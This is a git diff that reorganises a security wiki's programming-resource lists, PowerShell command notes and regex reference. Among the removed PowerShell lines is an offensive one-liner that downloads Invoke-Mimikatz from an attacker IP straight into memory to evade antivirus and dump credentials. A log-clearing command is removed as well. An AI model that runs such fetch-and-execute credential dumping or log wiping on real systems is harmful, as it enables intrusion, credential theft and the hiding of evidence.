[https://xapax.github.io/security/#basics\_of\_windows/powershell\_scripting2/](https://xapax.github.io/security/#basics\_of\_windows/powershell\_scripting2/) -* [https://xapax.github.io/security/#basics\_of\_windows/cmd/](https://xapax.github.io/security/#basics\_of\_windows/cmd/) -* [https://wiki.sans.blue/Tools/pdfs/PowerShell.pdf](https://wiki.sans.blue/Tools/pdfs/PowerShell.pdf) -* [https://wiki.sans.blue/Tools/pdfs/Get-WinEvent.pdf](https://wiki.sans.blue/Tools/pdfs/Get-WinEvent.pdf) +* [xapax Bash Scripting](https://xapax.github.io/security/#basics_of_linux/bash_scripting/) - Security-oriented Bash scripting notes. +* [Advanced Bash-Scripting Guide](https://tldp.org/LDP/abs/html/) - Detailed Bash scripting reference. +* [Bash Guide for Beginners](https://tldp.org/LDP/Bash-Beginners-Guide/html/) - Introductory Bash guide. +* [Bash Notes for Professionals](https://goalkicker.com/BashBook/) - PDF compiled from Stack Overflow documentation. +* [Bash Programming HOWTO](https://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html) - Introductory Bash programming guide. +* [Bash Reference Manual](https://www.gnu.org/software/bash/manual/bash.html) - Official Bash reference. +* [BashGuide](https://mywiki.wooledge.org/BashGuide) - Practical Bash guide. +* [Conquering the Command Line](https://conqueringthecommandline.com/book/frontmatter) - Command-line basics. +* [GNU Bash Manual (PDF)](https://www.gnu.org/software/bash/manual/bash.pdf) - Official Bash manual. +* [Google Shell Style Guide](https://google.github.io/styleguide/shellguide.html) - Shell scripting style guide. +* [Introduction to Bash Scripting](https://github.com/bobbyiliev/introduction-to-bash-scripting) - Markdown/PDF Bash scripting book. +* [Introduction to the Command Line](https://launchschool.com/books/command_line) - Beginner command-line book. +* [Linux Shell Scripting Tutorial](https://bash.cyberciti.biz/guide/Main_Page) - Linux shell scripting reference. +* [The Bash Academy](https://guide.bash.academy/) - Bash learning guide. +* [The Linux Command Line](https://linuxcommand.org/tlcl.php) - William Shotts' Linux command-line book. +* [Writing Shell Scripts](https://linuxcommand.org/lc3_writing_shell_scripts.php) - Shell scripting tutorial. +* [SANS Linux CLI 101](https://wiki.sans.blue/Tools/pdfs/LinuxCLI101.pdf) - Introductory Linux CLI cheatsheet. +* [SANS Linux CLI](https://wiki.sans.blue/Tools/pdfs/LinuxCLI.pdf) - Linux CLI reference. +* [SOC Analyst Scrolls: Linux Commands](https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/linux-commands) - Security analyst command reference. + +## PowerShell + +* [A Unix Person's Guide to PowerShell](https://leanpub.com/aunixpersonsguidetopowershell) - PowerShell for Unix/Linux users. +* [Creating HTML Reports in PowerShell](https://leanpub.com/creatinghtmlreportsinwindowspowershell) - Reporting with PowerShell. +* [DevOps: The Ops Perspective](https://leanpub.com/devopstheopsperspective) - Operations and automation context. +* [Ditch Excel: Making Historical & Trend Reports in PowerShell](https://leanpub.com/ditchexcelmakinghistoricalandtrendreportsinpowershell) - Reporting workflows. +* [Learn PowerShell in Y Minutes](https://learnxinyminutes.com/docs/powershell/) - Fast syntax overview. +* [PowerShell 101](https://leanpub.com/powershell101) - Beginner PowerShell guide. +* [PowerShell Notes for Professionals](https://goalkicker.com/PowerShellBook/) - PDF compiled from Stack Overflow documentation. +* [PowerShell Succinctly](https://www.syncfusion.com/resources/techportal/ebooks/powershell) - Introductory PowerShell ebook. +* [PowerShell Tips to Write By](https://leanpub.com/powershelltips) - Practical PowerShell writing tips. +* [Secrets of PowerShell Remoting](https://leanpub.com/secretsofpowershellremoting) - PowerShell remoting guide. +* [The Big Book of PowerShell Error Handling](https://leanpub.com/thebigbookofpowershellerrorhandling) - Error handling guide. +* [The Big Book of PowerShell Gotchas](https://leanpub.com/thebigbookofpowershellgotchas) - Common pitfalls. +* [The Monad Manifesto - Annotated](https://leanpub.com/themonadmanifestoannotated) - Historical design context. +* [SOC Analyst Scrolls: PowerShell](https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/powershell) - Security analyst PowerShell reference. +* [SOC Analyst Scrolls: One-Liners](https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/one-liners) - Useful PowerShell one-liners. +* [xapax PowerShell](https://xapax.github.io/security/#basics_of_windows/powershell/) - Security-oriented PowerShell notes. +* [xapax PowerShell Scripting](https://xapax.github.io/security/#basics_of_windows/powershell_scripting2/) - PowerShell scripting notes. +* [xapax Windows CMD](https://xapax.github.io/security/#basics_of_windows/cmd/) - Windows command prompt basics. +* [SANS PowerShell Cheatsheet](https://wiki.sans.blue/Tools/pdfs/PowerShell.pdf) - PowerShell reference. +* [SANS Get-WinEvent Cheatsheet](https://wiki.sans.blue/Tools/pdfs/Get-WinEvent.pdf) - Windows event log query reference. ## Python -* [BeginnersGuide/NonProgrammers - Python Wiki](https://wiki.python.org/moin/BeginnersGuide/NonProgrammers) -* [https://www.learnpython.org/](https://www.learnpython.org/) -* [Introduction · HonKit](https://python.swaroopch.com/) -* [Automate the Boring Stuff with Python](https://automatetheboringstuff.com/) -* [comp3321 NSA Python Training Document : NSA : Free Download, Borrow, and Streaming : Internet Archive](https://archive.org/details/comp3321/page/n1/mode/2up/search/device?utm\_source=share\&utm\_medium=ios\_app\&utm\_name=iossmf) -* [Cracking Codes with Python](https://inventwithpython.com/cracking/) -* [vinta/awesome-python: A curated list of awesome Python frameworks, libraries, software and resources](https://github.com/vinta/awesome-python) -* [py.CheckiO - Python coding challenges and exercises with solutions for beginners and advanced](https://py.checkio.org/) -* [Invent with Python](https://inventwithpython.com/) +* [Python Wiki: Beginner's Guide for Non-Programmers](https://wiki.python.org/moin/BeginnersGuide/NonProgrammers) +* [LearnPython.org](https://www.learnpython.org/) +* [A Byte of Python](https://python.swaroopch.com/) +* [Automate the Boring Stuff with Python](https://automatetheboringstuff.com/) +* [NSA Python Training Document](https://archive.org/details/comp3321/page/n1/mode/2up/search/device?utm_source=share&utm_medium=ios_app&utm_name=iossmf) +* [Cracking Codes with Python](https://inventwithpython.com/cracking/) +* [Awesome Python](https://github.com/vinta/awesome-python) +* [Python-Pentest-Tools](https://github.com/dloss/python-pentest-tools) +* [py.CheckiO](https://py.checkio.org/) - Python coding challenges. +* [Invent with Python](https://inventwithpython.com/) ## Go -* [An Introduction to Programming in Go](http://www.golang-book.com) +* [An Introduction to Programming in Go](https://www.golang-book.com/) * [Build Web Application with Golang](https://astaxie.gitbooks.io/build-web-application-with-golang/content/en/) * [Building Web Apps with Go](https://codegangsta.gitbooks.io/building-web-apps-with-go/content/) -* [Darker Corners of Go](https://rytisbiel.com/2021/03/06/darker-corners-of-go/) - Rytis Bieliunas -* [Effective Go](https://golang.org/doc/effective\_go.html) -* [Go 101](https://go101.org/article/101.html) - [@TapirLiu](https://twitter.com/TapirLiu) -* [Go Bootcamp](http://www.golangbootcamp.com/book) - Matt Aimonetti -* [Go by Example](https://gobyexample.com) -* [Go for Javascript Developers](https://github.com/bulim/go-for-javascript-developers) -* [How To Code in Go](https://www.digitalocean.com/community/books/how-to-code-in-go-ebook) - Mark Bates, Cory Lanou, and Timothy J. Raymond (PDF, EPUB) +* [Darker Corners of Go](https://rytisbiel.com/2021/03/06/darker-corners-of-go/) +* [Effective Go](https://go.dev/doc/effective_go) +* [Go 101](https://go101.org/article/101.html) +* [Go by Example](https://gobyexample.com/) +* [Go for JavaScript Developers](https://github.com/bulim/go-for-javascript-developers) +* [How To Code in Go](https://www.digitalocean.com/community/books/how-to-code-in-go-ebook) * [Learn Go with Tests](https://quii.gitbook.io/learn-go-with-tests/) * [Learning Go](https://miek.nl/go/) -* [Let's learn Go!](http://go-book.readthedocs.io/en/latest/) -* [Practical Cryptography With Go](https://leanpub.com/gocrypto/read) - Kyle Isom -* [The Go Tutorial](http://tour.golang.org) -* [The Little Go Book](https://github.com/karlseguin/the-little-go-book) - Karl Seguin ([PDF](https://www.openmymind.net/assets/go/go.pdf), [ePUB](https://www.openmymind.net/assets/go/go.epub)) -* [Web apps in Go, the anti textbook](https://github.com/thewhitetulip/web-dev-golang-anti-textbook/) - -## Assembly - -* [ProgrammingGroundUp.pdf](https://download-mirror.savannah.gnu.org/releases/pgubook/ProgrammingGroundUp-1-0-booksize.pdf) -* [https://www.begin.re/](https://www.begin.re/) - Reverse Engineering for Beginners -* [https://beginners.re/main.html](https://beginners.re/main.html) - Understanding Assembly Language -* [Reversing-Secrets-Engineering](https://www.amazon.com/Reversing-Secrets-Engineering-Eldad-Eilam/dp/0764574817) +* [Practical Cryptography With Go](https://leanpub.com/gocrypto/read) +* [The Go Tour](https://go.dev/tour/) +* [The Little Go Book](https://github.com/karlseguin/the-little-go-book) +* [Web Apps in Go](https://github.com/thewhitetulip/web-dev-golang-anti-textbook/) + +## Assembly and Reverse Engineering + +* [Programming from the Ground Up](https://download-mirror.savannah.gnu.org/releases/pgubook/ProgrammingGroundUp-1-0-booksize.pdf) +* [Reverse Engineering for Beginners](https://www.begin.re/) +* [Understanding Assembly Language](https://beginners.re/main.html) +* [Reversing: Secrets of Reverse Engineering](https://www.amazon.com/Reversing-Secrets-Engineering-Eldad-Eilam/dp/0764574817) + +Reverse engineering tooling and malware-analysis workflows live in DFIR. + +{% content-ref url="../dfir-digital-forensics-and-incident-response/binary-analysis-reverse-engineering.md" %} +[binary-analysis-reverse-engineering.md](../dfir-digital-forensics-and-incident-response/binary-analysis-reverse-engineering.md) +{% endcontent-ref %} + +## C and C++ + +* [C++ Tutorials](https://cplusplus.com/doc/tutorial/) +* [Learn C](https://www.learn-c.org/) +* [SEI CERT C Coding Standard](https://wiki.sei.cmu.edu/confluence/display/c/SEI+CERT+C+Coding+Standard) + +## Java + +* [Learn Java](https://www.learnjavaonline.org/) +* [Java Programming MOOC](https://java-programming.mooc.fi/) - University of Helsinki's free Java course. + +## Rust + +* [The Rust Programming Language](https://doc.rust-lang.org/book/) +* [Rust by Example](https://doc.rust-lang.org/rust-by-example/) +* [Black Hat Rust](https://github.com/skerkour/black-hat-rust) - Applied information security with Rust. + +## Ruby + +* [Ruby in 20 Minutes](https://www.ruby-lang.org/en/documentation/quickstart/) +* [Learn Ruby the Hard Way](https://learnrubythehardway.org/book/) + +## Legacy / Archived Resources + +The following resources can still teach useful concepts, but they reference older language versions or older platform assumptions. + +* [Learn PowerShell Core 6.0](https://www.packtpub.com/free-ebooks/learn-powershell-core-60) - PowerShell 6-era resource; use current Microsoft Learn docs for installation and version-specific guidance. +* [Layman's Guide to PowerShell 2.0 Remoting](https://ravichaganti.com/ebooks/AlaymansguidetoPowerShell2remotingv2.pdf) +* [Mastering PowerShell v2](http://community.idera.com/powershell/powertips/b/ebookv2#pi619PostSortOrder=Ascending) +* [PowerShell 2.0 - One CMDLET At A Time](http://www.jonathanmedd.net/wp-content/uploads/2010/09/PowerShell_2_One_Cmdlet_at_a_Time.pdf) +* [Pythonidae](https://github.com/svaksha/pythonidae) - Archived Python resource collection. diff --git a/code-tools/powershell/README.md b/code-tools/powershell/README.md index ef9aa68..2cf8709 100644 --- a/code-tools/powershell/README.md +++ b/code-tools/powershell/README.md @@ -1,35 +1,31 @@ -# Powershell +# PowerShell + +Use this page for PowerShell quick references and security analyst command examples. Long-form PowerShell learning resources live in Learn to Code. + +{% content-ref url="../learn-to-code.md" %} +[learn-to-code.md](../learn-to-code.md) +{% endcontent-ref %} + +## Cheatsheets {% embed url="https://assets.contentstack.io/v3/assets/blt36c2e63521272fdc/bltf146e4f361db3938/5e34a7bc946d717e2eab6139/power-shell-cheat-sheet-v41.pdf" %} {% embed url="https://wiki.sans.blue/Tools/pdfs/PowerShell.pdf" %} +* [SANS Get-WinEvent Cheatsheet](https://wiki.sans.blue/Tools/pdfs/Get-WinEvent.pdf) +* [SOC Analyst Scrolls: PowerShell](https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/powershell) +* [SOC Analyst Scrolls: One-Liners](https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/one-liners) + +## Pages in This Section + +{% content-ref url="common-commands.md" %} +[common-commands.md](common-commands.md) +{% endcontent-ref %} +## Legacy / Archived Resources -## Resources +These resources may still explain useful concepts, but they reference older PowerShell versions. -* [A Unix Person's Guide to PowerShell](https://leanpub.com/aunixpersonsguidetopowershell) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [Creating HTML Reports in PowerShell](https://leanpub.com/creatinghtmlreportsinwindowspowershell) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [DevOps: The Ops Perspective](https://leanpub.com/devopstheopsperspective) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [Ditch Excel: Making Historical & Trend Reports in PowerShell](https://leanpub.com/ditchexcelmakinghistoricalandtrendreportsinpowershell) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [Layman’s Guide to PowerShell 2.0 remoting](https://ravichaganti.com/ebooks/AlaymansguidetoPowerShell2remotingv2.pdf) (PDF) -* [Learn PowerShell Core 6.0](https://www.packtpub.com/free-ebooks/learn-powershell-core-60) - David das Neves, Jan-Hendrik Peters (Packt account _required_) -* [Learn PowerShell in Y Minutes](https://learnxinyminutes.com/docs/powershell/) +* [Layman's Guide to PowerShell 2.0 Remoting](https://ravichaganti.com/ebooks/AlaymansguidetoPowerShell2remotingv2.pdf) * [Mastering PowerShell v2](http://community.idera.com/powershell/powertips/b/ebookv2#pi619PostSortOrder=Ascending) -* [PowerShell 101: The No-Nonsense Beginner’s Guide to PowerShell](https://leanpub.com/powershell101) - Mike F. Robbins _(Leanpub account or valid email requested)_ -* [PowerShell 2.0 – One CMDLET At A Time](http://www.jonathanmedd.net/wp-content/uploads/2010/09/PowerShell\_2\_One\_Cmdlet\_at\_a\_Time.pdf) (PDF) -* [PowerShell Notes for Professionals](http://goalkicker.com/PowerShellBook/) - Compiled from StackOverflow documentation (PDF) -* [PowerShell Succinctly, Syncfusion](https://www.syncfusion.com/resources/techportal/ebooks/powershell) (PDF, Kindle) (email address _requested_, not required) -* [PowerShell Tips to Write By](https://leanpub.com/powershelltips) - Adam Bertram _(Leanpub account or valid email requested)_ (🚧 _in process_) -* [Secrets of PowerShell Remoting](https://leanpub.com/secretsofpowershellremoting) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [The Big Book of PowerShell Error Handling](https://leanpub.com/thebigbookofpowershellerrorhandling) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [The Big Book of PowerShell Gotchas](https://leanpub.com/thebigbookofpowershellgotchas) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [The Monad Manifesto - Annotated](https://leanpub.com/themonadmanifestoannotated) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [The PowerShell + DevOps Global Summit Manual for Summiteers](https://leanpub.com/windowspowershellnetworkingguide) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/powershell](https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/powershell) -* [https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/one-liners](https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/one-liners) -* [https://xapax.github.io/security/#basics\_of\_windows/powershell/](https://xapax.github.io/security/#basics\_of\_windows/powershell/) -* [https://xapax.github.io/security/#basics\_of\_windows/powershell\_scripting2/](https://xapax.github.io/security/#basics\_of\_windows/powershell\_scripting2/) -* [https://xapax.github.io/security/#basics\_of\_windows/cmd/](https://xapax.github.io/security/#basics\_of\_windows/cmd/) -* [https://wiki.sans.blue/Tools/pdfs/PowerShell.pdf](https://wiki.sans.blue/Tools/pdfs/PowerShell.pdf) -* [https://wiki.sans.blue/Tools/pdfs/Get-WinEvent.pdf](https://wiki.sans.blue/Tools/pdfs/Get-WinEvent.pdf) +* [PowerShell 2.0 - One CMDLET At A Time](http://www.jonathanmedd.net/wp-content/uploads/2010/09/PowerShell_2_One_Cmdlet_at_a_Time.pdf) diff --git a/code-tools/powershell/common-commands.md b/code-tools/powershell/common-commands.md index 8de2aa2..4ee4a09 100644 --- a/code-tools/powershell/common-commands.md +++ b/code-tools/powershell/common-commands.md @@ -1,85 +1,93 @@ # Common Commands -## Execution policy - UAC +## Execution Policy -``` -> Get-ExecutionPolicy -> Set_ExecutionPolicy Unrestricted +Execution policy is not a security boundary, but it can prevent accidental script execution and should not be set to `Unrestricted` as a default. + +```powershell +Get-ExecutionPolicy +Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser ``` ## Variables -Variables in PowerShell are prefixed with a dollar ($) symbol and assigned by stating the variable name that is followed by an equals sign (=) and the desired value. +Variables in PowerShell are prefixed with `$` and assigned with `=`. -``` -PS > $foo = ‘bar’ #Variables can be updated by setting them again. -To display a variable just call the variable by name: -PS > $foo +```powershell +$foo = "bar" +$foo ``` ## File Manipulation -* Using the 'Get-Content' cmdlet, it is possible to read in the contents of a file, the result of which can be stored in a variable for later use or displayed on screen. -* When reading in a file with Get-Content, it is possible to specify how much of the file is read. This is similar to the head and tail commands in Linux. -* With the -TotalCount parameter you can specify how many lines you would like PowerShell to read (from the top, e.g. Get-Content \ -TotalCount 5). -* The -Tail parameter will do the same but from the bottom of the file. -* In addition to reading files it is possible to write data to them, either by using Set-Content to create and overwrite files or Add-Content which can append content to an existing file. -* Syntax: Set-Content -Value "This is a test" -Path ./test.txt. -* Remember you can use Get-Content to read the file at any time. +`Get-Content`, `Set-Content`, and `Add-Content` are useful for reading, writing, and appending files. -``` -> Get-Content -Path .\MOCK_DATA.csv +```powershell +Get-Content -Path .\MOCK_DATA.csv -TotalCount 5 +Get-Content -Path .\MOCK_DATA.csv -Tail 5 +Set-Content -Path .\test.txt -Value "This is a test" +Add-Content -Path .\test.txt -Value "Another line" +Select-String -Path .\MOCK_DATA.csv -Pattern "needle" ``` -* [https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-content?view=powershell-6](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-content?view=powershell-6) -* [https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-content?view=powershell-6](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-content?view=powershell-6) -* [https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/add-content?view=powershell-6](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/add-content?view=powershell-6) -* [https://docs.microsoft.com/en-gb/powershell/module/Microsoft.PowerShell.Utility/Select-String?view=powershell-6](https://docs.microsoft.com/en-gb/powershell/module/Microsoft.PowerShell.Utility/Select-String?view=powershell-6) +References: -## File Transfer +* [Get-Content](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-content) +* [Set-Content](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-content) +* [Add-Content](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/add-content) +* [Select-String](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/select-string) +## File Download + +Use `Invoke-WebRequest` for normal administrative file downloads. Offensive file transfer patterns live in the Red Offensive post-exploitation pages. + +```powershell +Invoke-WebRequest -Uri "https://example.com/file.txt" -OutFile ".\file.txt" ``` -> powershell -c “new-object System.Net.WebClient).DownloadFile([URL],'[destination file path and file name]')” --c executes the subsequent command -new-object - instantiate a .NET or COM object -WebClient - chosen class of object -DownloadFile - method of action + +{% content-ref url="../../red-offensive/post-exploitation/file-transfer.md" %} +[file-transfer.md](../../red-offensive/post-exploitation/file-transfer.md) +{% endcontent-ref %} + +## Module Manipulation + +```powershell +Import-Module Microsoft.PowerShell.Management +Get-Module +Remove-Module Microsoft.PowerShell.Management ``` -I Module Manipulation\ -◇ [https://docs.microsoft.com/en-gb/powershell/module/Microsoft.PowerShell.Core/Import-Module?view=powershell-6](https://docs.microsoft.com/en-gb/powershell/module/Microsoft.PowerShell.Core/Import-Module?view=powershell-6)\ -◇ [https://docs.microsoft.com/en-gb/powershell/module/microsoft.powershell.core/get-module?view=powershell-6](https://docs.microsoft.com/en-gb/powershell/module/microsoft.powershell.core/get-module?view=powershell-6)\ -◇ [https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/remove-module?view=powershell-6](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/remove-module?view=powershell-6) +References: -## Download files and inject them directly into memory +* [Import-Module](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/import-module) +* [Get-Module](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/get-module) +* [Remove-Module](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/remove-module) -Antivirus will scan the disk of your target regularly and block any files that you download on to it, if they are flagged as a virus. You can Bypass this by invoking a powershell command call to pull a remote file directly into memory +## Event Logs -``` -> IEX (New-Object Net.WebClient).DownloadString('http://[attacker IP]/[target powershell script]');[New Powershell Command] -Example: -> IEX(New-Object Net.WebClient).DownloadString('http://10.102.10.91:1234/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds]E -``` +Prefer `Get-WinEvent` for modern Windows event log queries. `Get-EventLog` still exists for classic logs, but it is older and less flexible. -* IEX - pull directly into memory -* Net.WebClient - Needed to run the DownloadString function +```powershell +# List available logs. +Get-WinEvent -ListLog * -## EventLog +# Query recent System log events. +Get-WinEvent -LogName System -MaxEvents 50 -PowerShell comes with a cmdlet that allows you to query event logs from the command line. By default, it will query the local machine; however, it can also be used to query logs from remote connections. It has several options that can be used to filter the query and, similar to most PowerShell, the output can be piped to other filters like search and output. +# Filter System log events from the last hour. +$StartTime = (Get-Date).AddHours(-1) +Get-WinEvent -FilterHashtable @{LogName = "System"; StartTime = $StartTime} +# Group recent events by provider. +Get-WinEvent -LogName System -MaxEvents 1000 | + Group-Object -Property ProviderName -NoElement | + Sort-Object -Property Count -Descending + +# Export events for later review. +Get-WinEvent -LogName Application -MaxEvents 100 | + Export-Csv -Path .\application-events.csv -NoTypeInformation ``` -List of logs and their entries -> Get-eventlog -list -See all the logs of a specific type you can pass the name of the log to the cmdlet. So to see all system logs we can use: -> Get-eventlog system -Filter logs by time -> Get-eventlog system -after (get-date).addhours(-1) -Advanced filtering by grouping and sorting -> Get-Eventlog -LogName system -Newest 1000 | group-object -Property source -noelement | sort-object -Property count -descending -Export logs to file -> Get-Eventlog application | export-csv - path application.csv -Clear Event Logs -> Clear-Eventlog "Windows PowerShell" -clear -``` +Reference: + +* [SANS Get-WinEvent Cheatsheet](https://wiki.sans.blue/Tools/pdfs/Get-WinEvent.pdf) diff --git a/code-tools/regex.md b/code-tools/regex.md index 6711717..a67bb96 100644 --- a/code-tools/regex.md +++ b/code-tools/regex.md @@ -1,186 +1,212 @@ # Regex +Regular expressions search for text patterns. They are useful for log analysis, scripting, validation, parsing, and detection engineering, but each tool or language may use a slightly different regex engine. + ## Regex Tools and Reference -Regular expressions allow us to search for patterns in datasets and are processed by regular expression engines – pieces of software which match strings to a given pattern.For example, a search pattern with a sequence **`a1\d`** would find any sequence of characters, or string, in which the letter `a` is followed by a `1` and then any digit. Here, the **`\d`** is a metacharacter that tells the regex engine to search for any digit. - -* Regex Testers - * [RegExr](https://regexr.com/) - Learn, Build, & Test RegEx - * [RegEx Testing](https://www.regextester.com/) - online regex testing tool. - * [RegEx Pal](https://www.regexpal.com/) - online regex testing tool + other tools. -* Regex Training Material - * [RegexOne](https://regexone.com/) - Learn Regular Expressions - Lesson 1: An Introduction, and the ABCs - * [Regex101](https://regex101.com/) - Online regex tester and debugger: PHP, PCRE, Python, Golang and JavaScript - * [RexEgg](http://www.rexegg.com) - * [https://regexcrossword.com/](https://regexcrossword.com/) - Fun regex training with a crossword. - * [The 30 Minute Regex Tutorial](http://www.codeproject.com/Articles/9099/The-Minute-Regex-Tutorial) - Jim Hollenhorst - * [https://tryhackme.com/room/catregex](https://tryhackme.com/room/catregex) -* Books, Articles, and Cheatsheets - * [Regular Expression Cheat Sheet](https://github.com/niklongstone/regular-expression-cheat-sheet) - * [i Hate Regex - The Regex Cheat Sheet](https://ihateregex.io/) - * [JavaScript RegExp](https://learnbyexample.github.io/learn\_js\_regexp/) - Sundeep Agarwal - * [Python re(gex)?](https://learnbyexample.github.io/py\_regular\_expressions/) - Sundeep Agarwal - * [Regular Expressions for Regular Folk](https://refrf.shreyasminocha.me) - Shreyas Minocha - * [Ruby Regexp](https://learnbyexample.github.io/Ruby\_Regexp/) - Sundeep Agarwal - * [The Bastards Book of Regular Expressions: Finding Patterns in Everyday Text](https://leanpub.com/bastards-regexes) - Dan Nguyen _(Leanpub account or valid email r_equested) +### Testers -## Basics +* [Regex101](https://regex101.com/) - Regex tester and debugger for PCRE, PHP, Python, Go, JavaScript, and more. +* [RegExr](https://regexr.com/) - Interactive regex builder and tester. +* [RegEx Testing](https://www.regextester.com/) - Online regex testing tool. +* [RegEx Pal](https://www.regexpal.com/) - Online regex testing tool. +* [CyberChef](https://gchq.github.io/CyberChef/) - Includes regex operations alongside encoding, decoding, and data transformation tools. -### Metacharacters +### Training -◇ **`\s`** – this represents any whitespace character, such as a tab, space, or carriage return.\ -◇ **`\w`** – this tells the regex engine to search for any alphanumeric character.\ -◇ – this represents a carriage return. +* [RegexOne](https://regexone.com/) - Introductory regular expression lessons. +* [RexEgg](https://www.rexegg.com/) - Detailed regex reference and tutorial site. +* [Regex Crossword](https://regexcrossword.com/) - Regex practice through puzzles. +* [The 30 Minute Regex Tutorial](https://www.codeproject.com/Articles/9099/The-30-Minute-Regex-Tutorial) - Jim Hollenhorst. +* [TryHackMe: Cat Regex](https://tryhackme.com/room/catregex) -### Grep and Regex +### Cheatsheets and Books -◇ `grep -P "`**`regex`**`" input_file` +* [Regular Expression Cheat Sheet](https://github.com/niklongstone/regular-expression-cheat-sheet) +* [i Hate Regex](https://ihateregex.io/) +* [JavaScript RegExp](https://learnbyexample.github.io/learn_js_regexp/) - Sundeep Agarwal. +* [Python re(gex)?](https://learnbyexample.github.io/py_regular_expressions/) - Sundeep Agarwal. +* [Regular Expressions for Regular Folk](https://refrf.shreyasminocha.me/) +* [Ruby Regexp](https://learnbyexample.github.io/Ruby_Regexp/) - Sundeep Agarwal. +* [The Bastards Book of Regular Expressions](https://leanpub.com/bastards-regexes) - Dan Nguyen. -### Special character sequences +## Basics -These normally consist of a backslash, **`\`**, followed by a letter and represent either non-printable characters or entire categories of ASCII characters.\ -Here are some examples:\ -• **`\d`** – this represents any digit\ -• **`\w`** – this represents any alphanumeric character\ -• **`\s`** – this represents any whitespace character\ -• **–** this represents a tab\ -The first three examples can capture the reverse group through capitalisation, such that **`\D`**, **`\W`**, and **`\S`** represent any non-digit, non-alphanumeric, or non-whitespace character respectively. +### Common Character Classes -### Groupings +| Pattern | Meaning | +| --- | --- | +| `\d` | Any digit | +| `\D` | Any non-digit | +| `\w` | Any word character, usually letters, digits, and underscore | +| `\W` | Any non-word character | +| `\s` | Any whitespace character | +| `\S` | Any non-whitespace character | +| `\t` | Tab | +| `\r` | Carriage return | +| `\n` | Newline | -Groupings are made using the square brackets, **`[`** and **`]`**. They are used to represent specified sets of characters and can therefore be more precise than special character sequences. Within a grouping, individual characters or a range of characters can be specified. Ranges are specified using a hyphen, **`-`**. +### Character Groups -The regex pattern **`[ce]`** would match any instances of the letters `c` or `e`, whereas the pattern **`[c-e]`** would match instances of `c`, `d`, or `e`. +Square brackets define a set or range of characters. -Multiple individual characters or ranges of characters can be specified within the same grouping, and their order does not matter. For example, the pattern **`[dt-v9]`** would match instances of `d`, `t`, `u`, `v`, or `9`. +* `[ce]` matches `c` or `e`. +* `[c-e]` matches `c`, `d`, or `e`. +* `[^abc]` matches any character except `a`, `b`, or `c`. ### Escapes -You can see above that the backslash or square brackets are not used as their literal characters in regex; nor are any of the other metacharacters. But what if you want to search for square brackets, or periods in a string? Well, this is where escape characters are required. +Regex metacharacters such as `.`, `*`, `+`, `?`, `(`, `)`, `[`, `]`, `{`, `}`, `|`, `^`, `$`, and `\` need escaping when you want to match them literally. -Usually, a metacharacter can be escaped using a backslash, **`\`**. In some cases, when escaping certain metacharacters, it is necessary to change the syntax of the command within which the regex is used. This is because the backslash escape character is not exclusive to regex and can affect, for example, the quotes that encapsulate command arguments. An example of this can be seen in the video below, with the grep command. +```text +\.example\.com +``` -### Tips +### Repetition -Pipe the output of your search to the word count command, `wc -l`, to quickly count the number of results returned.\ -Print a line until a specific character (-)\ -`$ sed 's/-[^-]*$//' file` +| Pattern | Meaning | +| --- | --- | +| `*` | Zero or more of the previous token | +| `+` | One or more of the previous token | +| `?` | Zero or one of the previous token | +| `{m}` | Exactly `m` repetitions | +| `{m,n}` | Between `m` and `n` repetitions | -## Using regex in Linux +By default, quantifiers are greedy. Adding `?` makes many quantifiers lazy. -While grep can use regex to search files for patterns, it is not the only command capable of utilising this powerful searching tool. +* `.*` - Greedy match. +* `.*?` - Lazy match. -The awk command can utilise regex to search files for a specified pattern and then perform a specified action on the search results. The basic usage of regex in awk is as follows:\ -`awk ‘/regex-pattern/{print $0}’ input-file > output-file` +### Anchors -You can use the sed command with regex to perform more comprehensive searching. It is capable of searching for files and manipulating them within a single command. The basic syntax to use regex with the sed command is as follows: `sed -rn ‘/regex-pattern/p’` +| Pattern | Meaning | +| --- | --- | +| `^` | Start of line or string | +| `$` | End of line or string | +| `\b` | Word boundary | -### Repetitions +Example: -Repetitions, denoted by **`*`**, **`+`**, or **`{}`**, can be used when the number of characters of a certain type in a desired search string is unknown. The appropriate repetition metacharacter is placed immediately after 